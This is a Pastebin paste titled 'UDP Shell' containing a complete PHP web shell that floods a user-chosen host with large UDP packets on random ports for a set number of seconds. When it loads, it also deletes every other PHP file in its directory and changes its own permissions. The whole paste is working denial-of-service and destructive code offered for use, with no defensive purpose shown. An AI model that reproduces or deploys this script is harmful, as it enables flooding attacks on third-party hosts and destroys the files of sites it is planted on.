toads

UDP Shell

Jan 18th, 2016
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.73 KB | None | 0 0
  1. <?php
  2. @chmod(__FILE__, 0055);
  3. ignore_user_abort(TRUE);
  4. set_time_limit(0);
  5. $files = scandir(getcwd());
  6. foreach ($files as $file){
  7.     if ($file != basename(__FILE__) && strpos($file, '.php') != false) {
  8.         @chmod($file, 0777);
  9.                 unlink($file);
  10.     }
  11. }
  12. $top = "<html><head><title>UDP Shell!</title><style>body {margin:0;padding:0;background-color: #000;color:#0000FF;font-family: Tahoma;font-size:small;}input, button{background-color: #0000FF;padding:2px;margin-top:3px; color:#fff;font-family: Tahoma;border: 1px solid #555;font-size: 11px;text-align: center;font-style: bold;border-radius: 4px;}#submt{margin-top: 20px;cursor:pointer;}#xxx{font-size: 15px;}</style></head><body><center><br />UDP Shell!<br />";
  13. $output = "";
  14. $form = '<form action="" method="GET"><input type="hidden" name="act" value="phptools">Host:<br /><input type="text" name="host"><br /><a style="color:#000;font-size:1%;">UDP</a><br />Length (seconds):<br /><input type="text" name="time"><br /><input type="submit" id="submt" value="    Send    "></form>';
  15. $Foot = "</center></body></html>";
  16. if(isset($_GET['host'])&&isset($_GET['time'])){
  17.     $packets = 0;
  18.     $out = "";
  19.     $time = time();
  20.     for($i=0;$i<65000;$i++){$out .= 'X';}
  21.     while(true){
  22.         $packets++;
  23.         if(time() > $time+$_GET['time']){break;}
  24.         $rand = rand(1,65000);
  25.         $_GET['port'] =$rand;
  26.         if($fp = fsockopen('udp://'.$_GET['host'], $rand, $errno, $errstr, 5)){fwrite($fp, $out);fclose($fp);}
  27.     }
  28.     $output = "<br /><br />UDP Flood: Completed with ".$packets." (".round(($packets*69)/1024, 2)." MB) packets averaging ".round($packets/$_GET['time']*107, 2)." packets per second<br /><br />";
  29. }
  30. echo $top;echo $output;echo $form;echo $Foot;
  31. ?>
Add Comment
Please, Sign In to add comment